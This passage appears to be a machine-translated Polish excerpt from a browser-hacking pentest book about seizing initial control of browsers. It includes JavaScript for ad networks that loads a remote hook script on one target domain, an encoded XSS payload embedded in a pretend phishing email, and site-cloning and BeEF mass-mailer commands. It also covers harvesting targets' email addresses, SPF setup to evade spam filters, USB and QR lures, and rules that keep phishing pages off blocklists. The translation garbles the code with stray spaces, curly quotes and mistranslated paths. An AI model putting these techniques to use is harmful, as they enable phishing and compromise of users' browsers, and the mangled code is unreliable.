Tak, przyznamy, że jeśli nie jesteś zbytnio programistą lub hakerem JavaScript, poprzednie przykłady mogą sprawić, że będziesz miał zmieszany wyraz twarzy i ręce wypełnione włosami, które właśnie wyrwałeś z głowy ! Nie martw się. W wielu okolicznościach nierozsądne byłoby oczekiwanie od osoby atakującej lub testującej zapamiętywania wszystkich możliwych metod próby obejścia filtrów XSS. Jednym z oryginalnych i najbardziej znanych dostępnych ściągów XSS jest ściągawka Roberta Hansena (RSnake) XSS, przekazana na rzecz OWASP i jest dostępny na https://www.owasp.org/index.php/XSS _ Filtr _ Unikanie _ Oszukiwanie _ Arkusz. Ponieważ wszystkie nowe funkcje zostały wprowadzone do HTML5, odkrycie nowych metod i atrybutów nadużyć w przeglądarkach było kwestią czasu. Mario Heiderich opublikował ściągę bezpieczeństwa HTML5 dostępną pod adresem http://html5sec.org/. Oprócz tych ściąg istnieją niezliczone kombinacje, w których te dane mogą być konwertowane, kodowane, łączone i łączone razem. Metody, które pomogą Ci to zrobić, obejmują:

■ Funkcja dekodera pakietu Burp Suite

■ Hackvertor Garetha Hayesa: https://hackvertor.co.uk/public

■ Koder Charset Mario Heidericha: http://yehg.net/encoding/

Korzystanie z zaatakowanych aplikacji internetowych

Powszechną metodą wykorzystywaną przez atakujących w celu uzyskania dostępu do przeglądarek jest uzyskanie nieautoryzowanego dostępu do aplikacji internetowej. Po uzyskaniu dostępu osoba atakująca potencjalnie zmodyfikuje zawartość udostępnianą w Internecie, aby uwzględnić złośliwą logikę. Wykorzystanie aplikacji sieci Web może obejmować różne ataki, w tym wykorzystanie luk w zabezpieczeniach związanych z wstrzykiwaniem SQL lub zdalnym wykonywaniem kodu. Inną metodą przejęcia kontroli nad aplikacją internetową jest uzyskanie bezpośredniego nieautoryzowanego dostępu do usług administracyjnych, takich jak FTP, SFTP lub SSH. Po uzyskaniu dostępu do docelowej aplikacji internetowej można wstawić dowolną treść. Te treści będą potencjalnie uruchamiane w dowolnej przeglądarce odwiedzającej aplikację internetową. To idealna lokalizacja do wstawiania instrukcji do wykonania w docelowych przeglądarkach w celu uzyskania początkowej kontroli. Kontrolowanie pochodzenia legalnej aplikacji internetowej, która ma dużą liczbę odwiedzających,

zapewni dużą liczbę docelowych przeglądarek. Im więcej przeglądarek jest pod kontrolą, tym bardziej prawdopodobne jest, że jedna będzie podatna na atak. Oczywiście twoja zdolność do tego zależy od zakresu zaangażowania.

Korzystanie z sieci reklamowych

Internetowe sieci reklamowe wyświetlają banery reklamowe na wielu stronach rozsianych po Internecie. Być może nigdy nie przestałeś zastanawiać się, co tak naprawdę oznacza reklama. Najważniejsze jest to, że reklamy uruchamiają dostarczone instrukcje. Teraz jest interesujący Cię przypadek użycia! Możesz użyć sieci reklamowej, aby uruchomić początkowy kod kontrolny w wielu przeglądarkach. Oczywiście musisz się zarejestrować i przeskoczyć przez wszystkie ich obręcze. Gdy to zrobisz, za niewielką opłatą potencjalnie masz do dyspozycji wiele przeglądarek. Pamiętaj, żadna indywidualna przeglądarka nie będzie atakowana, ponieważ wykonanie kodu początkowego nastąpi losowo w różnych źródłach. Dla profesjonalnego zaangażowania jest mało prawdopodobne, że będziesz szukał losowego zestawu przeglądarek. Prawdopodobnie będziesz chciał kierować żądania przeglądarki pochodzące z jednego lub grupy adresów IP. Można to osiągnąć przez skonfigurowanie frameworku takiego jak BeEF (Browser Exploitation Framework), który zostanie omówiony bardziej szczegółowo. Może również wystąpić sytuacja, w której chcesz kierować na bezpieczne źródło. Oznacza to, że jest bezpieczny w inny sposób niż używanie dostawcy reklam na uwierzytelnionych stronach. Możesz zarejestrować się u tego dostawcy reklam i użyć następującego kodu, aby instrukcje były wykonywane tylko w miejscu docelowym.

```
if (document.location.host.indexOf („browservictim.com”)> = 0)

{

var scr = document.createElement ('script')

scr.setAttribute ('src', 'https: //browserhacker.com/hook.js');

document.getElementsByTagName ('body'). item (0) .appendChild (scr);

}
```

Korzystając z poprzedniego kodu, możesz sprawdzić pochodzenie, a jeśli jest to właściwy cel, możesz dynamicznie załadować skrypt. Bez przeglądania źródła ten skrypt powinien być niewidoczny dla innych domen. Jeremiah Grossman i Matt Johansen z WhiteHat Security zaprezentowali podobne ataki na BlackHat 2013. Ich badania polegały na zakupie legalnych reklam, w tym kontrolowanego przez nich wbudowanego JavaScript.

Korzystanie z ataków socjotechniki

Inżynieria społeczna odnosi się do zbioru metod zaprojektowanych w celu zmuszenia osoby do wykonywania działań i / lub ujawniania informacji. Ludzki element łańcucha bezpieczeństwa zawsze był znany jako jedno ze słabszych ogniw. Przeciwnicy wykorzystują to od zarania interakcji społecznych. Historycznie inżynieria społeczna mogła być postrzegana jako forma oszustwa lub sztuczki zaufania. Obecnie termin ma bardziej bezpośredni związek z królestwem cyfrowym i często nie polega na bezpośredniej interakcji z ofiarą. Branża finansowa jest jedną z bardziej znanych ofiar tego rodzaju ataków. Oszuści skonfigurują oszustwa cyfrowe, aby spróbować wymusić poświadczenia bankowości internetowej od klientów, a następnie przenieść skradzione środki. Powszechną techniką wykorzystywaną przez oszustów socjotechnicznych jest połączenie e-maili ze spamem i witryn phishingowych

SPAM I phishing

Terminy SPAM i phishing są czasami używane zamiennie. W kontekście SPAM nazywamy niechcianym e-mailem, często wysyłanym masowo, reklamującym prawdziwe (lub czasem nierzeczywiste) towary i usługi. Z drugiej strony phishing jest bezpośrednim działaniem polegającym na próbie uzyskania informacji (często nazw użytkowników i haseł), aby następnie albo sprzedać je na rynku podziemnym, albo użyć bezpośrednio do oszukiwania ofiary.

Wyłudzanie informacji składa się z wielu elementów, w tym fałszywych stron internetowych, fałszywych wiadomości e-mail, a czasem fałszywych wiadomości błyskawicznych. Wiadomości phishingowe często stosują tę samą taktykę jak spamerzy, aby zwabić ofiary do fałszywych stron internetowych. Wyłudzanie informacji jest techniką podobną do zwykłego wyłudzania informacji. Jednak zamiast próbować atakować wiele ofiar, osoby atakujące zawężą skupienie na mniejszym celu. Pozwala im to na zebranie większej ilości informacji ogólnych i skuteczniejsze dostosowanie przynęty do ofiar. Pamiętasz naruszenie RSA w 2011 roku? Początkową fazą naruszenia były dwie osobne kampanie phishingowe typu „spear phishing" przeciwko dwóm różnym grupom pracowników. Wiadomość e-mail zawierała załącznik obejmujący zero dni w stosunku do programu Microsoft Excel. Możesz przeczytać więcej na http://blogs.rsa.com/anatomy-of-an-attack/ lub

http://www.theregister.co.uk/2011/03/18/rsa _ naruszenie _ wycieki _sekuracja _ dane /.

Wykorzystanie technik phishingowych w celu ustalenia przyczółka w sieci organizacji docelowej działa w podobny sposób, jak w przypadku trybu oszustów. Jednak zamiast próbować tylko uzyskać poświadczenia lub inne informacje, spróbujesz wstrzyknąć instrukcje do przeglądarki celu. W poniższych sekcjach szczegółowo omówiono kilka popularnych metod. Pokazują, jak korzystać z tych ataków, których ostatecznym celem jest wymuszenie celu przeglądarka do wykonywania swoich ładunków.

Ataki phishingowe

Jak już wspomniano, ataki phishingowe to jedna z metod tradycyjnie wykonywanych przez oszustów w celu uzyskania poświadczeń użytkownika dla usług internetowych. Przykłady ataków phishingowych obejmują portale bankowości internetowej, PayPal, eBay, a nawet usługi podatkowe. Ataki phishingowe mogą przybierać różne formy, w tym:

■ Wyłudzanie wiadomości e-mail - wiadomość e-mail jest wysyłana do wielu adresatów z prośbą do ofiary, aby odpowiedzieć na wiadomość e - mail z informacjami cennymi dla atakującego. Ta technika jest również używana do rozpowszechniania złośliwego oprogramowania w postaci złośliwych łączy lub załączników.

■ Wyłudzanie informacji w witrynie - fałszywa witryna jest hostowana online, podszywając się pod legalną stronę internetową. Aby nakłonić użytkowników do odwiedzenia witryny, oszuści stosują dodatkowe techniki, takie jak wiadomości phishingowe, wiadomości błyskawiczne, wiadomości SMS, a nawet połączenia głosowe.

■ Phishing spear - często wykorzystuje również fałszywe strony internetowe, ale przynęty są dostosowane dla niewielkiej grupy docelowej.

■ Wielorybnictwo - termin wymyślony w celu wyłudzania informacji spear, który jest wymierzony w wysokiej rangi lub wyższej kadry zarządzającej.

W kontekście kierowania na przeglądarki Twoim głównym celem jest wykonanie kodu w przeglądarce docelowej. W związku z tym nie będą omawiane wyłącznie phishingowe wiadomości e-mail ani inne formy socjotechniki.

Faza 1: Strona internetowa

Pierwszą fazą ataku phishingowego jest zbudowanie fałszywej strony internetowej zawierającej złośliwy kod. W zależności od zakresu ataku phishingowego fałszywa witryna internetowa może być całkowicie fikcyjna lub podszywać się pod legalną witrynę internetową. Na przykład, jeśli Twoim celem jest firma energetyczna, możesz nie chcieć budować fałszywego portalu bankowości internetowej. Zamiast tego możesz utworzyć niestandardową stronę internetową interesującą przemysł energetyczny, na przykład fałszywy organ regulacyjny ds. energii.

To, czy zbudujesz jedną stronę, czy zbiór stron, zależy od ciebie. Jeśli chcesz zmniejszyć prawdopodobieństwo, że cel zauważy, że w witrynie jest coś „podejrzanego", lepiej mieć więcej treści niż tylko jedną stronę. W przeciwnym razie często wystarczy jedna strona, aby wykonać początkowy ładunek JavaScript w przeglądarce.

Gdy już zdecydujesz, jakie treści chcesz umieścić w fałszywej witrynie, masz do dyspozycji kilka metod, które pomagają w tworzeniu niezbędnych plików HTML i powiązanych plików:

■ Zbuduj witrynę od podstaw - może to być skuteczne w przypadku phishingu typu spear kampanie, ale mogą być czasochłonne.

■ Skopiuj i zmodyfikuj istniejącą witrynę - podobnie jak w przypadku tworzenia witryny od podstaw, ale można korzystać z już opublikowanych treści z Internetu.

Większość współczesnych przeglądarek umożliwia zapisanie aktualnie aktywnej witryny za pomocą funkcji Zapisz stronę. Może to pomóc przyspieszyć konstrukcję treści. Po zapisaniu możesz bezpośrednio modyfikować nagłówki i pola tytułów w kodzie HTML.

■ Klonuj istniejącą witrynę - podobnie jak kopiowanie i modyfikowanie istniejącej witryny , ale zamiast zapisywać i zmieniać zawartość, wystarczy sklonować całą witrynę.

■ Wyświetl stronę błędu - często nie musisz robić więcej niż zwykłe wyświetlanie strony błędu. Wynikowa strona będzie wyglądać jak błąd serwera, ale pod powierzchnią instrukcje są wykonywane w przeglądarce.

Pamiętasz wszystkie omówione wcześniej metody XSS? Czasami nawet nie trzeba tworzyć całkowicie nowej witryny internetowej na atak phishingowy. Jeśli wykonałeś rozpoznanie sieciowe w aplikacji internetowej celu i odkryłeś wadę XSS, możesz użyć tej witryny, by zachowywać się jak witryna phishingowa. Zaletą tego podejścia jest to, że cel jest mniej podatny na adresy URL, które prowadzą do witryny, z którą już się czują. Zapewnia również pretekst do przynęty phishingowej. Załóżmy, że odkryłeś błąd XSS w witrynie ofiary, który można zakodować za pomocą adresu URL. Możesz przesłać następujące wiadomości (działające tylko w przeglądarce Firefox) jako e-mail phishingowy:

„Cześć, dział IT, przeglądałem Twoją witrynę i zauważyłem dziwny komunikat o błędzie podczas wyszukiwania. Po kliknięciu przycisku „Wyszukaj" kończę na tej stronie:

http://browservictim.com/search.aspx?q=%3c%73%63%72%69%70%74%20

% 73% 72% 63% 3d% 27% 68% 74% 74% 70% 3a% 2f% 2f% 61% 74% 74% 61% 63% 6b% 65% 72% 73% 65% 72

% 76% 65% 72% 2e% 63% 6f% 6d% 2f% 68% 6f% 6f% 6b% 2e% 6a% 73% 27% 3e% 3c% 2f% 73% 63% 72% 69

% 70% 74% 3e

Nie jestem pewien, czy coś jest nie tak z moim komputerem, czy masz problem?

Z poważaniem,

Joe Bloggs ”

W tym przypadku parametr wyszukiwania zakodowany w adresie URL to w rzeczywistości:

<script src = 'http: //browserhacker.com/hook.js'> </script>

JAK KLONOWAĆ STRONĘ INTERNETOWĄ

Możesz użyć kilku metod do klonowania witryny. Za pomocą narzędzia wiersza polecenia wget można lokalnie sklonować witrynę. Na przykład:

wget -k -p -nH -N http://browservictim.com

Atrybuty wybierają następujące opcje:

■ -k - Konwertuje wszelkie linki znalezione w pobranych plikach, aby odwoływały się do lokalnych kopii, nieuzależniając od oryginału lub treści online.

■ -p - pobiera wszystkie wymagane pliki, dzięki czemu strona może być wyświetlana lokalnie bez połączenia z Internetem. Obejmuje to obrazy i arkusze stylów.

■ -nH - Wyłącza pobieranie plików do nazwanych folderów z prefiksem hosta.

■ -N — Umożliwia znaczniki czasu plików zgodnie z źródłowymi znacznikami czasu.

BeEF obejmuje funkcję klonowania w ramach rozszerzenia socjotechniki. Środowisko domyślnie wstrzykuje hak JavaScript do sklonowanej treści WWW. Aby wykorzystać tę funkcjonalność, uruchom BeEF, uruchamiając ./beef i wykonaj następujące czynności w innym terminalu, aby współpracować z RESTful API BeEF:

curl -H „Content-Type: application / json; charset = UTF-8 ”

-d „{„ url ”:” <URL strony do sklonowania> ”„ mount ”:” <gdzie

mount> ”}’

-X POST http: // <BeEFURL> / api / seng / clone_page? Token = <token>

Po uruchomieniu konsola BeEF zgłosi:

[18:19:17] [*] Dodano haczyk BeEF :-D

Niezależnie od metody użytej do skonstruowania HTML, najważniejszym celem jest zaszczepienie treści pishing kodem inicjującym. Jeśli korzystasz z rozszerzenia socjotechniki BeEF, jest to obsługiwane automatycznie. W innych przypadkach może być konieczna aktualizacja HTML. Jest to często tak proste, jak wstawienie nowego wiersza tuż przed tagiem zamykającym </body> za pomocą następującego kodu:

<script src = http: //browserhacker.com/book.js> </script>

Po skonfigurowaniu i aktywacji środowiska hostingowego musisz upewnić się, że skonfigurowana nazwa domeny odpowiada tematowi treści. Podobnie jak w przypadku korzyści związanych z obliczeniami wirtualnymi, rejestracja domen stała się również znacznie tańsza w ciągu ostatnich kilku lat z powodu konkurencji między rejestratorami. Rejestratorzy nazw domen, tacy jak namecheap.com lub godaddy.com oferuje nazwy .com za około 10 USD rocznie. Pasując do tematu kampanii, możesz zarejestrować coś takiego jak „europowerregulator.com" lub jego pochodna.

ZESTAW NARZĘDZI INŻYNIERA SPOŁECZNEGO

David-Kennedy's Social-Engineer Toolkit (SET) zawiera również funkcję klonowania w sieci. SET nie tylko klonuje stronę internetową, ale także wstrzykuje złośliwe haki. Na przykład złośliwe aplety Java lub exploity przeglądarki Metasploit. Możesz pobrać SET z https://github.com/trustedsec/ social-engineer-toolkit /.

Aby wykorzystać wektor ataku apletu Java dla SET, w tym klonowanie sieci, uruchom SET, uruchamiając sudo ./set, a następnie wykonaj następujące czynności:

1. Wybierz opcję Wektory ataku strony internetowej.

2. Wybierz opcję Java Applet Attack Method.

3. Wybierz opcję Site Cloner.

4. Wprowadź adres URL, który chcesz sklonować.

5. Kontynuuj ustawianie kolejnych opcji ładunku lub odwrotnej powłoki.

Gdy serwer sieci Web SET nasłuchuje, możesz go odwiedzić, przeglądając adres IP urządzenia.

URLCRAZY

URLCrazy, opracowany przez Andrew Hortona, to naprawdę fajne narzędzie, które pomaga automatycznie znajdować literówki domen i inne odmiany. Dostępne z http://www.morningstarsecurity.com/research/urlcrazy, możesz użyć narzędzia wykonując:

./urlcrazy <domena>

Możesz także dodać kolejną warstwę zaciemnienia, umieszczając witrynę phishingową w skróconym adresie URL. Jest to szczególnie przydatne, jeśli planujesz atakować urządzenia mobilne. Korzyści z uzyskania nazwy domeny obejmują również możliwość skonfigurowania ustawień Sender Policy Framework (SPF) w rekordach DNS. Rekordy SPF, skonfigurowane jako rekordy SPF lub TXT w DNS, pozwalają domenie określić, które adresy IP mogą wysyłać wiadomości e-mail w jej imieniu.

Program został wprowadzony jako metoda zdławienia spamerów przed wysyłaniem wiadomości e-mail rzekomo pochodzących z domen bez ich zgody. Serwery SMTP odbierające wiadomości e-mail z określonych adresów IP mogą sprawdzać rekordy SPF z podanej nazwy domeny i sprawdzać, czy adres IP może wysyłać wiadomości e-mail. Na przykład rekord TXT dla microsoft.com obejmuje:

v = spf1 obejmują: _spf-a.microsoft.com obejmują: _spf-b.microsoft.com inc

lude: _spf-c.microsoft.com obejmują: _spf-ssg-a.microsoft.com ip4: 131.1

07.115.215 ip4: 131.107.115.214 ip4: 205.248.106.64 ip4: 205.248.106.30

ip4: 205.248.106.32 ~ all "

Ten rekord wskazuje, co następuje:

■ v = spf1 - używana wersja SPF to 1.

■ włącz - dla każdej instrukcji dołączania zapytanie o rekord SPF z tego wpisu DNS. Dzięki temu rekord SPF może odwoływać się do zasad z innego źródła.

■ ip4 - dla każdej instrukcji ip4 dopasuj, jeśli wiadomość e - mail pochodzi z określonego zakresu adresów IP.

■ ~ all - Ostateczne zdanie jest zapisem; wykonaj SOFTFAIL dla wszystkich innych źródeł. SOFTFAIL, wskazany przez ~, jest kwalifikatorem SPF. Te kwalifikatory mogą obejmować + dla PASS,? dla NEUTRAL, - dla FAIL i ~ dla SOFTFAIL. Zazwyczaj wiadomości oznaczone jako SOFTFAIL są akceptowane, ale mogą być oznaczone.

Po skonfigurowaniu prawidłowych rekordów SPF dla domeny witryny phishingowej możesz teraz wysyłać wiadomości e-mail, które rzadziej zostaną oznaczone jako SPAM przez agentów i klientów przesyłania poczty. Prowadzi to do następnego etapu generowania faktycznej wiadomości e-mail typu phishing.

Faza 2: Wiadomości e-mail związane z wyłudzaniem informacji

Po tych wszystkich wysiłkach, aby zbudować realistycznie wyglądającą stronę phishingową, potrzebujesz metody, by zwabić do niej swoje cele. Tradycyjnie podstawową metodą na to jest wysyłanie wiadomości e-mail typu phishing. Jednak często podczas ukierunkowanego zaangażowania masz luksus, aby dowiedzieć się nieco więcej o swoich celach, dzięki czemu możesz być mniej ogólny ze swoim sformułowaniem i formatowaniem. Najpierw musisz wygenerować docelowe adresy e - mail. Wykorzystanie Google, LinkedIn i inne serwisy społecznościowych jest często łatwym pierwszym krokiem. Narzędzia takie jak Maltego, jigsaw.com, theHarvester i Recon-ng mogą pomóc zoptymalizować proces.

KONTAKTY ZBIORCZE

Recon-ng, dostępny na https://bitbucket.org/LaNMaSteR53/recon-ng, jest modułowym programem do rozpoznawania stron internetowych napisanym w języku Python. Narzędzie zapewnia podobny interfejs konsoli, jak używany przez Metasploit. Aby zbierać wiadomości e - mail z witryny jigsaw.com, rozpocznij rozpoznawanie, uruchamiając ./recon-ng, a następnie wykonaj następujące czynności:

Recon-ng> użyj Recon / Contacts / Collect / http / jigsaw

recon-ng [jigsaw]> ustaw COMPANY <nazwa firmy docelowej>

recon-ng [jigsaw]> ustaw KEYWORDS <dodatkowe słowa kluczowe, jeśli ty

chcesz>

recon-ng [jigsaw]> uruchom

rozpoznanie [układanka]> wstecz

recon-ng> użyj raportów / plik_csv

recon-ng [csv_file]> uruchom

W folderze danych powinien znajdować się plik results.csv, który będzie zawierać zebrane kontakty. Jeśli masz dostęp do klucza API LinkedIn, możesz także użyć modułu recon / Contacts / gather / http / linkedin_auth. theHarvester to kolejny skrypt Pythona, który można pobrać ze strony http://www.edge-security.com/theharvester.php. Podobnie jak Recon-ng, Harvester może korzystać z otwartych wyszukiwarek i repozytoriów opartych na API do tworzenia list kontaktów e - mail. Aby użyć Harvester, po prostu wykonaj:

./theHarvester.py -d <domena docelowa> -l <ograniczenie liczby wyników> \

-b <źródło danych: na przykład google>

Kiedy będziesz już mieć listę adresów e-mail, musisz skonstruować swoją przynętę. Podobnie jak w przypadku budowania witryny phishingowej, musisz poświęcić trochę czasu, aby upewnić się, że pozory twojej poczty e-mail są uzasadnione. Oczywiście faktycznie musisz wysłać swoje cele. Jedną z metod wysyłania wiadomości e-mail jest korzystanie z masowej korespondencji socjotechnicznej BeEF

KORZYSTANIE Z BeEF MASS MAILERA

Funkcja masowego wysyłania wiadomości BeEF może wymagać trochę konfiguracji. Ale po skonfigurowaniu znacznie upraszcza proces wysyłania wielu wiadomości e-mail w formacie zwykłego tekstu i HTML. Najpierw musisz skonfigurować mass-mailer, edytując wołowinę / rozszerzenia / social_engineering / config.yaml, w szczególności sekcję mass_mailer:

user_agent: „Microsoft-MacOutlook / 12.12.0.111556”

host: „<Twój serwer SMTP>”

port: <Twój port SMTP>

use_auth: <prawda lub fałsz>

use_tls: <prawda lub fałsz>

helo: „<z domeny adresowej - na przykład: europowerregulator.com>”

z: „<z adresu e-mail - na przykład: marketing @

europowerregulator.com> „

hasło: „<hasło SMTP>”

Następnym elementem, który musisz skonfigurować, jest sam szablon wiadomości e - mail. Przed wygenerowaniem faktycznego szablonu należy skonfigurować wszelkie zależności, jakie mogą mieć wiadomości e-mail, takie jak obrazy. Należy to zrobić w pliku konfiguracyjnym rozszerzenia socjotechniki. W BeEF możesz znaleźć przykład o nazwie „edfenergy”. W tym samym pliku config.yaml możesz zobaczyć jego konfigurację:

edfenergy:

obrazy: [„corner-tl.png”, „main.png”, „edf_logo.png”,

„Promo-corner-left.png”, „promo-corner-right-arrow.png”,

„Promo-reflection.png”, „2012.png”, „corner-bl.png”,

„Corner-br.png”, „bottom-border.png”]

images_cids:

cid1: „corner-tl.png”

cid2: „main.png”

cid3: „edf_logo.png”

cid4: „promo-corner-left.png”

cid5: „promo-corner-right-arrow.png”

cid6: „promo-reflection.png”

cid7: „2012.png”

cid8: „corner-bl.png”

cid9: „corner-br.png”

cid10: „bottom-border.png”

Przede wszystkim te ustawienia określają obrazy, które zostaną zastąpione w samym szablonie, w tym odniesienia do identyfikatora. Szablon e - mail znajduje się w wołowinie / extensions / social_engineering / mass_mailer / templates / edfenergy / jako pliki mail.plain i mail.html. Te pliki używają prostego systemu szablonów, który dynamicznie zastępuje zawartość podczas wysyłania wiadomości e-mail. Obejmuje to lokalne włączenie obrazów i nazwisk odbiorców. Obrazy wysyłane za pośrednictwem poczty masowej BeEF nie są wymieniane online. Są najpierw pobierane, a następnie zakodowane w formacie base64 w treści wiadomości e - mail. Jeśli przejrzysz mail.html, zobaczysz wpisy z „__name__” i „__link__”, które zostaną dynamicznie zmienione po przesłaniu polecenia do masowej przesyłki. Podobnie jak w przypadku klonowania internetowego, masowa przesyłka pocztowa jest wykonywana przez interfejs API RESTful, więc po uruchomieniu BeEF otwórz nowy terminal i wykonaj następujące polecenie curl:

curl -H „Content-Type: application / json; charset = UTF-8 ”\

-d „{„ template ”:” edfenergy ”,„ subject ”:” <Temat e-maila> ”, \

„Fromname”: ”<Fromname>”, „link”: ”<URL do strony phishingowej>”, \

„Linktext”: ”<Fałszywy tekst linku>”, „adresaci”: [{„<Cel

konto e-mail> ”: \

„<Nazwa celu>>”, <Docelowe konto e-mail 2> ”:„ <Cel 2

nazwa> ”}]}’ \

-X POST http: // <BeEFURL> / api / seng / send_

maile? token = <token>

Podział opcji umożliwia skonfigurowanie następujących elementów:

■ szablon - konfiguruje, którego szablonu użyć w tym przypadku szablon edfenergy.

■ temat - Ustawia temat wiadomości phishingowej.

■ fromname - Konfiguruje nazwę nadawcy. To niekoniecznie musi odpowiadać Twojemu adresowi „z” z globalnej konfiguracji.

■ link - Ustawia adres strony phishingowej.

■ tekst linku - niektóre szablony zawierają osadzony link phishingowy, ale zamiast tego wyświetlać tekst.

■ odbiorców - pole odbiorców to zestaw wartości dla odbiorców z podziałem na adresy e-mail i nazwy. Pole nazwy zostanie wypełnione w szablonach. Możesz tutaj mieć dowolną liczbę odbiorców, oddzielając je przecinkami.

■ BeEFURL - adres URL Twojej instancji BeEF.

■ token - token API BeEF RESTful. Służy do uzyskania dostępu do serwera BeEF.

Po uruchomieniu konsola BeEF zgłosi:

Wysłano 1/2 do [target1@email.com].

Wysłano pocztę 2/2 na adres [target2@email.com].

Po przesłaniu przynęty e - mail kampania phishingowa jest aktywna. Mądrze jest przetestować to na własnej skórze przed poddaniem się żywym celom. Pozwala to naprawić wszelkie problemy w szablonach wiadomości e - mail lub w samej witrynie phishingowej

Przynęty

Zwabienie celu na stronę phishingową nie zawsze musi polegać na wiadomościach phishingowych. Z czasem pojawiła się technika inżynierii społecznej, która obejmowała wykorzystanie przynęt fizycznych. Zostało to wykazane w 2004 r., kiedy badacze bezpieczeństwa byli w stanie zmusić ludzi na ulicy do ujawnienia swoich haseł w zamian za czekoladę. Oczywiście, zdobycie czyjeś hasło niekoniecznie pomaga w podłączeniu się do przeglądarki, ale techniki mają zastosowanie w równym stopniu do ukradkowo umieszczonych urządzeń pamięci USB lub pendrive. Osoba, która zauważy i odbierze dysk USB z ulicy, potencjalnie zamierza podłączyć go do swojego komputera i przejrzeć znajdujące się w nim pliki. Przecież my, ludzie, jesteśmy dziwną grupą! Korzystając z napędów USB, możesz potencjalnie oszukać użytkowników, aby połączyć ich przeglądarkę ze stroną kontrolowaną przez osobę atakującą. Może to być tak proste, jak osadzenie pliku HTML zawierającego odniesienia lub linki z powrotem do strony phishingowej. Rozwiązania antywirusowe raczej nie oznaczą tego jako podejrzanego, ponieważ rozpowszechnianie plików HTML w pamięci zewnętrznej jest dość powszechne. Oczywiście ta sama technika będzie działać również w przypadku płyt CD-ROM. Kolejną nową techniką przynęty są złośliwe kody Quick Response (QR). Kod QR to dwuwymiarowy kod kreskowy, który zyskuje na popularności w przypadku smartfonów. Pierwotnie używany w przemyśle wytwórczym ze względu na swoją zdolność do bycia skanowanym szybko, stale rośnie i często znajduje się na plakatach, przystankach autobusowych i innych detalicznych przedmiotach. Gdy masz już aplikację kodu QR na swoim smartfonie, możesz skierować aparat na kod, a tekst zostanie wyświetlony. Jeśli kod QR jest adresem URL, telefon zaoferuje również przejście do tego linku lub, w niektórych okolicznościach, przeszukanie go automatycznie. Według naukowców z firmy Symantec przestępcy już zaczynają drukować niestandardowe naklejki z kodem QR i pozostawiać je w popularnych, często zatłoczonych miejscach. Generowanie kodów QR jest niezwykle proste dzięki interfejsowi Google Chart API. Aby wygenerować własne kody QR, możesz użyć tego narzędzia. Musisz określić szerokość, wysokość i dane, które mają zostać przekonwertowane na kod QR:

https://chart.googleapis.com/chart?cht=qr&chs=300x300&chl=http://browserhacker.com.

Alternatywnie możesz wykorzystać moduł „QR CodeGenerator” BeEF do wygenerowania adresów URL wykresów Google. Aby skonfigurować to rozszerzenie, edytuj plik wołowiny / rozszerzenia / qrcode / config.yaml „

włącz: prawda

target: ["http: // <url pishing>". "/ <względny link z BeEF>"]

qrsize: „300x300”

Po skonfigurowaniu po uruchomieniu BeEF wyświetli dostępne adresy URL wykresów Google. Nie zapomnij użyć skracaczy adresów URL i innych technik zaciemniania, aby spróbować ukryć adres witryny z żądaniami

Kontrola antypishingowa

Podczas przeprowadzania ataku phishingowego ważne jest, aby pamiętać o niektórych elementach sterujących, które mogą Cię zaskoczyć po drodze. Nowoczesna przeglądarka i klienci poczty e-mail często próbują zmniejszyć prawdopodobieństwo wyłudzenia wiadomości e-mail typu phishing i phishing do odbiorców. Przeanalizowałeś konfigurację rekordów SPF, aby zmniejszyć szanse, że twoje e-maile zostaną oznaczone jako spam, ale nie możesz zapomnieć o zdolności przeglądarki internetowej do wykrywania złośliwych treści. Interfejs API Bezpiecznego przeglądania Google, który jest używany zarówno przez przeglądarkę Chrome, jak i Firefox, jest eksponowanym w Internecie interfejsem API w czasie rzeczywistym, który umożliwia przeglądarkom sprawdzenie poprawności adresów URL przed ich renderowaniem w przeglądarce. Interfejs API służy nie tylko do ocieplania użytkowników witryn phishingowych zgłaszanych przez osoby fizyczne, ale także do witryn, które mogą zawierać złośliwe oprogramowanie. Jeśli Twoja kampania phishingowa jest skierowana do wystarczająco małej grupy odbiorców, prawdopodobieństwo, że jeden z celów zgłosi domenę lub zostanie automatycznie wykryte (przynajmniej początkowo), jest dość niskie. Ten okres skutecznego phishingu znany jest jako Złota godzina ataku phishingowego. Wynika to z faktu, że badania przeprowadzone przez Powierników wskazały, że 50 procent ofiar phishingu ujawnia swoje informacje w ciągu pierwszej godziny, w której dostępna jest strona z atakami.

INNE NARZĘDZIA ANTYPHISHINGOWE

Oprócz interfejsu API Bezpiecznego przeglądania Google, wiele innych platform będzie próbowało odciągnąć użytkowników od potencjalnie niebezpiecznych stron, w tym:

■ Filtr antyphishingowy przeglądarki Internet Explorer

■ SiteAdvisor McAfee

■ Dodatek WOT Web of Trust

■ Dodatki PhishTank

■ Rozszerzenie antyphishingowe Netcraft

Sztuczka polega na tym, aby odpowiednio zrównoważyć zakres odbiorców kampanii e - mail i witryny phishingowej. Kieruj reklamy na zbyt wiele osób, a Twoja witryna może zostać szybko zgłoszona. Kieruj reklamy na zbyt małą liczbę osób, a żadna osoba nie odwiedzi Twojej witryny wyłudzającej informacje. Kolejna technika, która pomaga zmniejszyć prawdopodobieństwo otrzymania Twojej strony phishingowej na czarnej liście jest zaimplementowanie zapory ogniowej lub reguł .htaccess. To byłoby

skonfigurowane do wyświetlania treści phishingowych tylko wtedy, gdy pochodzą one z organizacyjnego serwera proxy celu. Zaawansowane wersje tego schematu zostały zauważone na wolności w czymś, co RSA nazwał „bishinger phishing kit" . Ten zestaw phishingowy zautomatyzował dystrybucję dynamicznych adresów URL phishingowych ofiar, a jeśli spróbujesz odwiedzić zawartość bez unikalnego identyfikatora lub zbyt wiele razy, zwróci komunikat o błędzie HTTP 404. Jak już wspomniano wcześniej, czasami nie można technicznie wstawić instrukcji inicjujących do wrażliwej aplikacji internetowej lub uzyskać dostępu do kanału komunikacyjnego. To często pozostawia tylko docelowych użytkowników, których możesz kierować. Przy odpowiedniej motywacji ludzie są bardziej niż chętni do wykonywania działań na własną szkodę. Nie lekceważ możliwości wykorzystania technik inżynierii społecznej do przejęcia kontroli nad przeglądarkami internetowymi.

Używanie ataków man-in-the-middle

